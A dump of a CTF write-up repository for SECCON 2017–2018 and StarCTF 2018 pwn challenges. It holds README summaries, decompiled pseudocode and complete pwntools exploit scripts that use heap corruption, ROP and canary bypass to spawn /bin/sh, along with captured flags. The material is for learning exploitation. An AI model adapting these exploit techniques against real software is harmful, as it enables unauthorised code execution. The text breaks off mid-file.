https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/RCTF/2018/stringer/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/RCTF/2018/stringer/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/RCTF/2018/stringer/program -------------------------------------------------------------------------------- /ctfs/SECCON/2017/Quals/README.md: -------------------------------------------------------------------------------- 1 | # SECCON 2017 Quals 2 | 3 | [CTFtime Event](https://ctftime.org/event/512) 4 | 5 | [CTFtime Writeups](https://ctftime.org/event/512/tasks/) 6 | 7 | [Archives](https://github.com/sajjadium/ctf-archives/tree/master/ctfs/ctfs/SECCON/2017/Quals/) 8 | 9 | | Challenge | Info | Exploitation | Links | 10 | |:-----------:|--------------------|----------------------|:---------:| 11 | | [election](election) | `x86_64` `NX` `Canary` `Full RELRO` `ASLR` | `GOT` `__malloc_hook` `fastbin` `null byte overflow` `null byte poisoning` `off-by-one` `one gadget` | [Writeups](https://ctftime.org/task/5040) [Archives](https://github.com/sajjadium/ctf-archives/tree/master/ctfs/SECCON/2017/Quals/election) | 12 | | [secure_keymanager](secure_keymanager) | `x86_64` `NX` `Canary` `Partial RELRO` `ASLR` | `GOT` `PLT` `double free` `fastbin` `format string` `heap` | [Writeups](https://ctftime.org/task/5041) [Archives](https://github.com/sajjadium/ctf-archives/tree/master/ctfs/SECCON/2017/Quals/secure_keymanager) | 13 | | [video_player](video_player) | `x86_64` `NX` `Canary` `Partial RELRO` `ASLR` | `GOT` `__malloc_hook` `fastbin` `heap` `one gadget` `overlapping chunks` `use after free` `virtual calls` `vtable` | [Writeups](https://ctftime.org/task/5051) [Archives](https://github.com/sajjadium/ctf-archives/tree/master/ctfs/SECCON/2017/Quals/video_player) | 14 | -------------------------------------------------------------------------------- /ctfs/SECCON/2017/Quals/election/README.md: -------------------------------------------------------------------------------- 1 | In `SECCON 2017 - election` challenge, there is an `off-by-one` (`null byte poisoning`, `null byte overflow`) vulnerability that gives us `arbitrary write`. Using this vulnerability, we can find `heap` base address by manipulating heap chunks and `libc` base address by leaking `read@GOT` address, and finally overwrite `__malloc_hook` with `one gadget` in order to execute `/bin/sh`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries. -------------------------------------------------------------------------------- /ctfs/SECCON/2017/Quals/election/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def stand(name): 6 | p.sendlineafter('>> ', '1') 7 | p.sendafter('Enter the name.\n>> ', name) 8 | 9 | def vote(show, name, modify): 10 | p.sendlineafter('>> ', '2') 11 | p.sendlineafter('Show candidates? (Y/n) ', show) 12 | candidates = p.recvuntil('Enter the name of the candidate.\n>>').replace('\nEnter the name of the candidate.\n>>', '') 13 | p.send(name) 14 | 15 | if name == 'oshima\n': 16 | p.sendafter('Would you modify the name and re-vote?\n>> ', modify) 17 | 18 | return candidates 19 | 20 | def write_what_where(what, where): 21 | for i in range(len(what)): 22 | for j in range(u8(what[i])): 23 | vote('n', 'oshima\n', 'yes' + '\x00' * 29 + p64(where + i - 16) + '\x01' + '\n') 24 | 25 | with context.quiet: 26 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 27 | 28 | # Tatsumi => fastbin_1 (0x20) and fastbin_2 (0x20) 29 | # Shinonome => fastbin_3 (0x20) and fastbin_4 (0x20) 30 | # Ojima => fastbin_5 (0x20) and fastbin_6 (0x20) 31 | 32 | # fastbin_7 (0x20) and fastbin_8 (0x20) 33 | # the "list" is pointing to fastbin_7 34 | # we set the name of new record as the address of read@GOT 35 | read_got = 0x601fb8 36 | stand(p64(read_got) + '\n') 37 | 38 | # there is an off-by-one (null byte poisoning) in vote function by which we can change 39 | # the name pointer of Tatsumi in fastbin_1 to point to fastbin_3 instead of fastbin_2 40 | for i in range(32): 41 | vote('Y', 'oshima\n', 'yes' + '\x00' * 28 + '\n') 42 | 43 | # since the name pointer to pointing to fastbin_3, we can print the list of candidates 44 | # this causes a heap address to be leaked by whitch, we can find the heap base address 45 | heap_addr = vote('Y', 'oshima\n', 'no\n').split('* ')[-1] 46 | heap_base = u64(heap_addr + '\x00' * (8 - len(heap_addr))) - 0x70 47 | print 'heap base: {}'.format(hex(heap_base)) 48 | 49 | # we need to create a fake chunks in .bss in order to simulate the ojima record since 50 | # we are going to change the "list" variable points to somewhere else 51 | write_what_where(p64(0x602050), 0x602038) 52 | write_what_where(p64(0), 0x602040) 53 | write_what_where(p64(0), 0x602048) 54 | write_what_where('ojima\x00', 0x602050) 55 | 56 | # write the address of our fake chunk in .bss in the next pointer of fastbin_8 57 | write_what_where(p64(0x602038), heap_base + 0xf8) 58 | 59 | # using the buffer overflow vulnerability in vote function, we can simply make list to 60 | # point to fastbin_8 instead of fastbin_7 61 | vote('Y', 'oshima\n', 'yes' + '\x00' * 29 + p64(0x602028 - 16) + p8(32) + '\n') 62 | 63 | # since fastbin_8's name pointer is pointing to read@GOT, we can simply leak the read@GOT 64 | # address in order to find the libc base address 65 | libc_base = u64(vote('Y', '\n', '\n')[14:20] + '\x00\x00') - 0xf7250 66 | print 'libc base: {}'.format(hex(libc_base)) 67 | 68 | ''' 69 | 0xf02a4 execve("/bin/sh", rsp+0x50, environ) 70 | constraints: 71 | [rsp+0x50] == NULL 72 | ''' 73 | one_gadget = libc_base + 0xf02a4 74 | print 'one gadget: {}'.format(hex(one_gadget)) 75 | 76 | malloc_hook = libc_base + 0x3c4b10 77 | print 'malloc_hook: {}'.format(hex(malloc_hook)) 78 | 79 | # we have replace the __malloc_hook with the address of one gadget 80 | write_what_where(p64(one_gadget), malloc_hook) 81 | 82 | # since we need to trigger malloc for our gadget to be executed, we need to make a change into "lv" 83 | # variable in order to call stand later. Here we simply decrease the "lv" 84 | vote('n', 'oshima\n', 'yes' + '\x00' * 29 + p64(0x602010 - 16) + '\xff' + '\n') 85 | 86 | # the malloc here triggers our one gadget 87 | stand('\n') 88 | 89 | p.interactive() 90 | 91 | -------------------------------------------------------------------------------- /ctfs/SECCON/2017/Quals/election/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/SECCON/2017/Quals/election/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/SECCON/2017/Quals/election/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/SECCON/2017/Quals/election/program -------------------------------------------------------------------------------- /ctfs/SECCON/2017/Quals/secure_keymanager/README.md: -------------------------------------------------------------------------------- 1 | In this challenge, there is a `double free` vulnerability by which we can mount the `fastbin dup` attack to get an arbitrary write into `GOT` table. Then, using a `format string` attack, we can leak a `libc` address, and finally execute `system("/bin/sh")` by overwriting a `GOT` entry. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, and `ASLR` in `x86_64` binaries. -------------------------------------------------------------------------------- /ctfs/SECCON/2017/Quals/secure_keymanager/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/SECCON/2017/Quals/secure_keymanager/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/SECCON/2017/Quals/secure_keymanager/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/SECCON/2017/Quals/secure_keymanager/program -------------------------------------------------------------------------------- /ctfs/SECCON/2017/Quals/video_player/README.md: -------------------------------------------------------------------------------- 1 | In `SECCON 2017 - video_player` challenge, there is a `Use After Free (UAF)` vulnerability by which we can mount `fastbin attack` to create `overlapping chunks`. Using this technique, we can leak a heap address to figure out the layout of chunks and then find `libc` base address by leaking `read@GOT`. Finally, we can overwrite `__malloc_hook` with `one gadget` in order to execute `/bin/sh`. This is an interesting `heap exploitation` challenge in `C++` programs where we can learn about `vtable` (and `virtual calls`) as well as bypassing protections like `NX`, `Canary`, and `ASLR` in `x86_64` binaries. -------------------------------------------------------------------------------- /ctfs/SECCON/2017/Quals/video_player/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/SECCON/2017/Quals/video_player/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/SECCON/2017/Quals/video_player/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/SECCON/2017/Quals/video_player/program -------------------------------------------------------------------------------- /ctfs/SECCON/2018/Quals/classic/README.md: -------------------------------------------------------------------------------- 1 | In `SECCON 2018 - classic` challenge, there is a `stack overflow` vulnerability which leads to overwriting the `return` address. Using `return oriented programming (ROP)`, we first leak `puts@GOT` address to find `libc` base address, write another `ROP` payload into `.bss` by calling `gets@GOT`, and move the control to the payload in `.bss` using `stack pivoting` which jumps to `one gadget` to execute `/bin/sh`. This is an interesting `ROP` challenge to learn bypassing protections like `NX`, `Partial RELRO`, and `ASLR` in `x86_64` binaries. -------------------------------------------------------------------------------- /ctfs/SECCON/2018/Quals/classic/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | # SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3} 7 | # p = remote('classic.pwn.seccon.jp', 17354) 8 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 9 | 10 | p.recvuntil('Local Buffer >> ') 11 | 12 | # here we are going to replace main's return address 13 | payload = 'A' * 0x48 14 | 15 | # puts(puts@GOT) in order to leak puts' address to find libc base 16 | payload += p64(0x40074f) # pop rbp; pop r14; pop r15; ret; 17 | payload += p64(0x601018) # rbp <= puts@GOT address 18 | payload += p64(0) # r14 19 | payload += p64(0) # r15 20 | payload += p64(0x400753) # pop rdi; ret; 21 | payload += p64(0x601018) # rdi <= puts@GOT address 22 | payload += p64(0x4008ab) # jmp qword ptr [rbp]; 23 | 24 | # gets(somewhere in .bss) in order to create the second payload somewhere in .bss 25 | payload += p64(0x40074f) # pop rbp; pop r14; pop r15; ret; 26 | payload += p64(0x601038) # rbp <= gets@GOT address 27 | payload += p64(0) # r14 28 | payload += p64(0) # r15 29 | payload += p64(0x400753) # pop rdi; ret; 30 | payload += p64(0x601090) # rdi <= somewhere in .bss 31 | payload += p64(0x4008ab) # jmp qword ptr [rbp]; 32 | 33 | # pivot rsp to .bss 34 | payload += p64(0x40074d) # pop rsp; pop r13; pop r14; pop r15; ret; 35 | payload += p64(0x601090) # rsp <= somewhere in .bss 36 | 37 | p.sendline(payload) 38 | 39 | p.recvuntil('Have a nice pwn!!\n') 40 | 41 | puts_addr = u64(p.recv()[0:6] + '\00\00') 42 | print 'puts addr: {}'.format(hex(puts_addr)) 43 | 44 | libc_base = puts_addr - 0x6f690 45 | print 'libc base: {}'.format(hex(libc_base)) 46 | 47 | ''' 48 | 0x4526a execve("/bin/sh", rsp+0x30, environ) 49 | constraints: 50 | [rsp+0x30] == NULL 51 | ''' 52 | payload = p64(0) # r13 53 | payload += p64(0) # r14 54 | payload += p64(0) # r15 55 | payload += p64(libc_base + 0x4526a) # one gadget execve 56 | payload += '\00' * 0x40 # to satisfy [rsp+0x30] == NULL 57 | 58 | p.sendline(payload) 59 | 60 | p.interactive() 61 | 62 | -------------------------------------------------------------------------------- /ctfs/SECCON/2018/Quals/classic/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/SECCON/2018/Quals/classic/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/SECCON/2018/Quals/classic/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/SECCON/2018/Quals/classic/program -------------------------------------------------------------------------------- /ctfs/SECCON/2018/Quals/classic/pseudocode.cc: -------------------------------------------------------------------------------- 1 | int64_t init() 2 | { 3 | setbuf(stdout, 0LL); 4 | setbuf(stderr, 0LL); 5 | return 0LL; 6 | } 7 | 8 | int main() 9 | { 10 | char buf; // [rsp+0h] [rbp-40h] 11 | 12 | puts("Classic Pwnable Challenge"); 13 | printf("Local Buffer >> ", argv); 14 | gets((int64_t)&buf); 15 | puts("Have a nice pwn!!"); 16 | return 0; 17 | } 18 | 19 | -------------------------------------------------------------------------------- /ctfs/SECCON/2018/Quals/profile/README.md: -------------------------------------------------------------------------------- 1 | In `SECCON 2018 - profile` challenge, there is a `buffer overflow` vulnerability which leads to overwriting the `return` address. In this challenge, we need to have a good understanding of `string` class's internal memory layout. Using this vulnerability, we can overwrite a string's internal pointer which gives us an `arbitrary read`. We first leak the `canary` value, then leak `read@GOT` address to find `libc` base address, and finally overwrite the return address with `one gadget` to execute `/bin/sh`. This is an interesting `C++` challenge to learn bypassing protections like `NX`, `Canary`, `Partial RELRO`, and `ASLR` in `x86_64` binaries. -------------------------------------------------------------------------------- /ctfs/SECCON/2018/Quals/profile/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def introduce(name, age, msg): 6 | p.sendlineafter('Name >> ', name) 7 | p.sendlineafter('Age >> ', str(age)) 8 | p.sendlineafter('Message >> ', msg) 9 | 10 | def update_message(msg): 11 | p.sendlineafter('>> ', '1') 12 | p.sendlineafter('Input new message >> ', msg) 13 | 14 | def show_profile(): 15 | p.sendlineafter('>> ', '2') 16 | 17 | def exit_program(): 18 | p.sendlineafter('>> ', '0') 19 | 20 | with context.quiet: 21 | # SECCON{57r1ng_l0c4710n_15_n07_0nly_h34p} 22 | # p = remote('profile.pwn.seccon.jp', 28553) 23 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 24 | 25 | # in this challenge, you need to know how the "string" memory layout is 26 | # basically, if the lenght of string is small enough, it will store the 27 | # characters on the stack in this case, otherwise it will allocate the 28 | # characters in the heap 29 | 30 | # name should be 8 bytes long, so we can leak addresses 31 | # message should be 1 byte long, so malloc_usable_size 32 | # since both strings are small, their value will be stored on the stack 33 | # returns a large value which leads to buffer overflow 34 | introduce('a' * 8, 10, 'b') 35 | 36 | # first we need to leak the address of name field in Profile class 37 | # since name and message are next to each other in the Profile and 38 | # the overflow happens inside the message field, we will overwrite 39 | # only one byte of the name, and leave the rest as is. 40 | # name string has an internal pointer which can be used for leaking any 41 | # arbitrary address 42 | # basically, we are scanning the stack until we find where the location 43 | # of the name is on the stack 44 | offset = 0 45 | while True: 46 | print 'Trying offset {}'.format(hex(offset)) 47 | 48 | update_message('c' * 0x10 + p8(offset)) 49 | show_profile() 50 | 51 | p.recvuntil('Name : ') 52 | 53 | if p.recv(8) == 'c' * 8: 54 | break 55 | 56 | offset += 0x10 57 | 58 | # here we found the correct offset and we can leak the address of name string 59 | # we need to do this in order to leak the canary later and also repair the name 60 | # string after we are done with leaking 61 | update_message('c' * 0x10 + p8(offset + 0x10)) 62 | show_profile() 63 | 64 | p.recvuntil('Name : ') 65 | name_addr = u64(p.recv(8)) 66 | print 'name addr: {}'.format(hex(name_addr)) 67 | 68 | # canary has a fixed offset relative to name string 69 | # so, we leak canary as well for later 70 | update_message('c' * 0x10 + p64(name_addr + 0x28)) 71 | show_profile() 72 | 73 | p.recvuntil('Name : ') 74 | canary = u64(p.recv(8)) 75 | print 'canary: {}'.format(hex(canary)) 76 | 77 | # here again we leak read@GOT by overwriting the internal pointer of 78 | # name string in order to find libc base 79 | update_message('c' * 0x10 + p64(0x602028)) 80 | show_profile() 81 | 82 | p.recvuntil('Name : ') 83 | read_addr = p.recvuntil('\nAge')[:-4] 84 | libc_base = u64(read_addr + '\x00' * (8 - len(read_addr))) - 0xf7250 85 | print 'libc base: {}'.format(hex(libc_base)) 86 | 87 | ''' 88 | 0x4526a execve("/bin/sh", rsp+0x30, environ) 89 | constraints: 90 | [rsp+0x30] == NULL 91 | ''' 92 | # finally, we overwrite the return address with one gadget 93 | update_message( 94 | # message field's data 95 | 'c' * 0x10 + \ 96 | # repairing name field internal pointer 97 | p64(name_addr + 0x10) + \ 98 | # keep the length of name as 8 bytes 99 | p64(8) + \ 100 | # filling the gap with canary 101 | p64(0) * 3 + \ 102 | # overwriting canary with the leaked one 103 | p64(canary) + \ 104 | # filling the gap between canary and saved rbp 105 | p64(0) * 2 + \ 106 | # saved rbp 107 | p64(0) + \ 108 | # return address 109 | p64(libc_base + 0x4526a) + \ 110 | # adding enough zero to satisfy one gadget's constraints 111 | '\x00' * 0x50 112 | ) 113 | 114 | # exit the program, so the main returns and execute shell 115 | exit_program() 116 | 117 | p.interactive() 118 | 119 | -------------------------------------------------------------------------------- /ctfs/SECCON/2018/Quals/profile/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/SECCON/2018/Quals/profile/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/SECCON/2018/Quals/profile/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/SECCON/2018/Quals/profile/program -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/babystack/README.md: -------------------------------------------------------------------------------- 1 | In `StarCTF 2018 - babystack` challenge, there is a `stack overflow` vulnerability by which we can leak `atol@GOT` address to find `libc` base address, and jump to `one gadget` in order to execute `execve("/bin/sh")`. The interesting part is replacing the `stack canary` with the correct value in order to replace the `return address` without crashing the program. 2 | 3 | Basically, when using `pthread`, the `Thread Local Storage (TLS)` will be located somewhere near the thread stack, so it can be overwritten in case of a `stack overflow` vulnerability. In this challenge, we can replace the `stack_guard` attribute in `TLS` (http://www.openwall.com/lists/oss-security/2018/02/27/5) with an arbitrary value in order to bypass `canary` protection. This is an interesting `ROP` challenge to learn bypassing protections like `NX`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries. -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/babystack/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 7 | 8 | p.sendlineafter('How many bytes do you want to send?\n', str(0x1010 + 2008 + 8)) 9 | 10 | # puts(atol@GOT) to leak a libc address 11 | payload = p64(0x400c03) # pop rdi; ret; 12 | payload += p64(0x601ff0) # rdi <= atol@GOT 13 | payload += p64(0x4007c0) # jmp puts@PLT 14 | 15 | # read(0, 0x602030, SIZE) to write the final payload somewhere in .bss 16 | # luckily, there is a large value in rdx, so we don't need to provide it here 17 | payload += p64(0x400c03) # pop rdi; ret; 18 | payload += p64(0) # rdi <= stdin 19 | payload += p64(0x400c01) # pop rsi; pop r15; ret; 20 | payload += p64(0x602030) # rsi <= 0x602030 (somewhere in .bss) 21 | payload += p64(0) # r15 <= garbage 22 | payload += p64(0x4007e0) # jmp read@PLT 23 | 24 | # pivot rsp into somewhere in .bss 25 | payload += p64(0x400bfd) # pop rsp; pop r13; pop r14; pop r15; ret 26 | payload += p64(0x602030) # rsp <= 0x602030 (somewhere in .bss) 27 | 28 | p.send( 29 | # garbage to fill out the buffer up to canary 30 | 'a' * (0x1010 - 8) + \ 31 | # fake canary 32 | 'b' * 8 + \ 33 | # saved rbp 34 | 'c' * 8 + \ 35 | # return address + ROP chain 36 | payload + \ 37 | # garbage 38 | 'd' * (2000 - len(payload)) + \ 39 | # replace thread's stack guard with our fake canary 40 | 'b' * 8 41 | ) 42 | 43 | # here the content of atol@GOT is printed 44 | p.recvuntil("It's time to say goodbye.\n") 45 | libc_base = u64(p.recv(6) + '\x00\x00') - 0x36ea0 46 | print 'libc base: {}'.format(hex(libc_base)) 47 | 48 | ''' 49 | 0x4526a execve("/bin/sh", rsp+0x30, environ) 50 | constraints: 51 | [rsp+0x30] == NULL 52 | ''' 53 | 54 | one_gadget = libc_base + 0x4526a 55 | print 'one gadget: {}'.format(hex(one_gadget)) 56 | 57 | # here we provide the final payload for exploitation 58 | # since rsp is pivoted, we provide the rest of data here 59 | p.sendline( 60 | # pop r13; pop r14; pop r15; ret 61 | # writing garbage to r13, r14, and r15 62 | p64(0) * 3 + \ 63 | # after above ret, the shell will be executed 64 | p64(one_gadget) + \ 65 | # write enough zeros in order to satify [rsp+0x30] == NULL constraint 66 | '\x00' * 0x40 67 | ) 68 | 69 | p.interactive() 70 | 71 | -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/babystack/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/StarCTF/2018/babystack/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/babystack/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/StarCTF/2018/babystack/program -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/babystack/pseudocode.cc: -------------------------------------------------------------------------------- 1 | int64_t get_number() 2 | { 3 | char s; // [rsp+0h] [rbp-10h] 4 | uint64_t v2; // [rsp+8h] [rbp-8h] 5 | 6 | fgets(&s, 8, stdin); 7 | return atol(&s); 8 | } 9 | 10 | signed int64_t get_string(int fd, int64_t buffer, uint64_t size) 11 | { 12 | uint64_t size_; // [rsp+8h] [rbp-28h] 13 | uint64_t v5; // [rsp+20h] [rbp-10h] 14 | ssize_t v6; // [rsp+28h] [rbp-8h] 15 | 16 | size_ = size; 17 | v5 = 0LL; 18 | while ( v5 < size_ ) 19 | { 20 | v6 = read(fd, (void *)(v5 + buffer), size_ - v5); 21 | if ( v6 == -1 ) 22 | { 23 | if ( *_errno_location() != 11 && *_errno_location() != 4 ) 24 | return -1LL; 25 | } 26 | else 27 | { 28 | if ( !v6 ) 29 | return v5; 30 | v5 += v6; 31 | } 32 | } 33 | return v5; 34 | } 35 | 36 | void *start_routine(void *a1) 37 | { 38 | uint64_t size; // [rsp+8h] [rbp-1018h] 39 | char buffer; // [rsp+10h] [rbp-1010h] 40 | uint64_t v4; // [rsp+1018h] [rbp-8h] 41 | 42 | memset(&buffer, 0, 0x1000uLL); 43 | puts("Welcome to babystack 2018!"); 44 | puts("How many bytes do you want to send?"); 45 | size = get_number(); 46 | if ( size <= 0x10000 ) 47 | { 48 | get_string(0, (int64_t)&buffer, size); 49 | puts("It's time to say goodbye."); 50 | } 51 | else 52 | { 53 | puts("You are greedy!"); 54 | } 55 | return 0LL; 56 | } 57 | 58 | signed int64_t main(int64_t a1, char **a2, char **a3) 59 | { 60 | int64_t result; // rax 61 | pthread_t newthread; // [rsp+0h] [rbp-10h] 62 | uint64_t v5; // [rsp+8h] [rbp-8h] 63 | 64 | setbuf(stdin, 0LL); 65 | setbuf(stdout, 0LL); 66 | puts(" # # #### ##### ######"); 67 | puts(" # # # # # #"); 68 | puts("### ### # # #####"); 69 | puts(" # # # # #"); 70 | puts(" # # # # # #"); 71 | puts(" #### # #"); 72 | pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL); 73 | if ( pthread_join(newthread, 0LL) ) 74 | { 75 | puts("exit failure"); 76 | result = 1LL; 77 | } 78 | else 79 | { 80 | puts("Bye bye"); 81 | result = 0LL; 82 | } 83 | return result; 84 | } 85 | -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/note/README.md: -------------------------------------------------------------------------------- 1 | `note` is a very good challenge to understand how we can exploit a `Off-By-One` bug where the program is using `scanf`. Basically, you can overwrite the `least significant byte (LSB)` of the `saved rbp` with a null byte, so you can control the stack frame for the following function calls. 2 | -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/note/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 7 | 8 | p.recvuntil('your ID:') 9 | 10 | p.sendline(''.join(random.choice(string.letters) for _ in range(10))) 11 | 12 | p.recvuntil('>') 13 | 14 | p.sendline('1') 15 | 16 | p.recvuntil('Note:') 17 | 18 | # one-null-byte-write in order to zero out least significant byte of saved RBP 19 | # after Edit Note's scanf returns, the main's scanf will be executed with "%256s" instead 20 | # of "%d" because RBP is changed 21 | p.sendline('A' * 0xa8 + p64(0x401129) + 'A' * (256 - 0xa8 - 0x8)) 22 | 23 | p.recvuntil('> ') 24 | 25 | # here we are going to replace main's scanf return address 26 | payload = 'A' * 0x64 27 | 28 | # puts(puts@GOT) in order to leak puts' address to find libc base 29 | payload += p64(0x400fff) # pop rbp; pop r14; pop r15; ret; 30 | payload += p64(0x601f90) # rbp <= puts@GOT address 31 | payload += p64(0) # r14 32 | payload += p64(0) # r15 33 | payload += p64(0x401003) # pop rdi; ret; 34 | payload += p64(0x601f90) # rdi <= puts@GOT address 35 | payload += p64(0x4012b3) # jmp qword ptr [rbp]; 36 | 37 | # scanf("%256s", lower part of .bss) in order to create the second payload in the lower part of .bcc 38 | payload += p64(0x400fff) # pop rbp; pop r14; pop r15; ret; 39 | payload += p64(0x601ff0) # rbp <= scanf@GOT address 40 | payload += p64(0) # r14 41 | payload += p64(0) # r15 42 | payload += p64(0x401001) # pop rsi; pop r15; ret; 43 | payload += p64(0x602100) # rsi <= lower part of .bss 44 | payload += p64(0) # r15 45 | payload += p64(0x401003) # pop rdi; ret; 46 | payload += p64(0x401129) # rdi <= %256s 47 | payload += p64(0x4012b3) # jmp qword ptr [rbp]; 48 | 49 | # pivot rsp to lower part of .bss 50 | payload += p64(0x400ffd) # pop rsp; pop r13; pop r14; pop r15; ret; 51 | payload += p64(0x602100) # rsp <= lower part of .bss 52 | 53 | p.sendline(payload) 54 | 55 | puts_addr = u64(p.recv()[0:6] + '\00\00') 56 | print 'puts addr: ' + hex(puts_addr) 57 | 58 | libc_base = puts_addr - 0x6f690 59 | print 'libc base: ' + hex(libc_base) 60 | 61 | ''' 62 | 0x4526a execve("/bin/sh", rsp+0x30, environ) 63 | constraints: 64 | [rsp+0x30] == NULL 65 | ''' 66 | 67 | payload = p64(0) # r13 68 | payload += p64(0) # r14 69 | payload += p64(0) # r15 70 | payload += p64(libc_base + 0x4526a) # one gadget execve 71 | payload += '\00' * (256 - 4 * 8) # to satisfy [rsp+0x30] == NULL 72 | 73 | p.sendline(payload) 74 | 75 | p.interactive() 76 | 77 | -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/note/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/StarCTF/2018/note/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/note/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/StarCTF/2018/note/program -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/note/pseudocode.cc: -------------------------------------------------------------------------------- 1 | FILE *stream; 2 | 3 | char *change_id(const char *a1) 4 | { 5 | size_t v1; // rax 6 | char v3; // [rsp+10h] [rbp-B0h] 7 | char v4[8]; // [rsp+70h] [rbp-50h] 8 | int64_t v5; // [rsp+78h] [rbp-48h] 9 | int64_t v6; // [rsp+80h] [rbp-40h] 10 | int64_t v7; // [rsp+88h] [rbp-38h] 11 | char v8; // [rsp+90h] [rbp-30h] 12 | char v9[28]; // [rsp+A0h] [rbp-20h] 13 | int i; // [rsp+BCh] [rbp-4h] 14 | 15 | *(int64_t *)v4 = 0LL; 16 | v5 = 0LL; 17 | v6 = 0LL; 18 | v7 = 0LL; 19 | v8 = 0; 20 | MD5_Init(&v3); 21 | v1 = strlen(a1); 22 | MD5_Update(&v3, a1, v1); 23 | MD5_Final(v9, &v3); 24 | for ( i = 0; i <= 15; ++i ) 25 | sprintf(&v4[2 * i], "%02X", (unsigned __int8)v9[i]); 26 | return strdup(v4); 27 | } 28 | 29 | int print_banner() 30 | { 31 | puts( 32 | "\n" 33 | " # # #### ##### ######\n" 34 | " # # # # # #\n" 35 | "### ### # # #####\n" 36 | " # # # # #\n" 37 | " # # # # # #\n" 38 | " #### # #\n" 39 | "\n"); 40 | setvbuf(stdout, 0LL, 2, 0LL); 41 | setvbuf(stdin, 0LL, 2, 0LL); 42 | return chdir("/tmp"); 43 | } 44 | 45 | int print_menu() 46 | { 47 | puts("=====MENU======"); 48 | puts("1. Edit note"); 49 | puts("2. Show note"); 50 | puts("3. Save note"); 51 | puts("4. Change ID"); 52 | return puts("5. Exit"); 53 | } 54 | 55 | char *load_note() 56 | { 57 | char s; // [rsp+0h] [rbp-100h] 58 | 59 | if ( !stream ) 60 | return 0LL; 61 | fseek(stream, 0LL, 0); 62 | _isoc99_fscanf(stream, "%256s", &s); 63 | return strdup(&s); 64 | } 65 | 66 | int save_note(const char *a1) 67 | { 68 | int result; // eax 69 | 70 | if ( a1 ) 71 | { 72 | fseek(stream, 0LL, 0); 73 | result = fputs(a1, stream); 74 | } 75 | return result; 76 | } 77 | 78 | char *edit_note() 79 | { 80 | char s; // [rsp+0h] [rbp-100h] 81 | 82 | 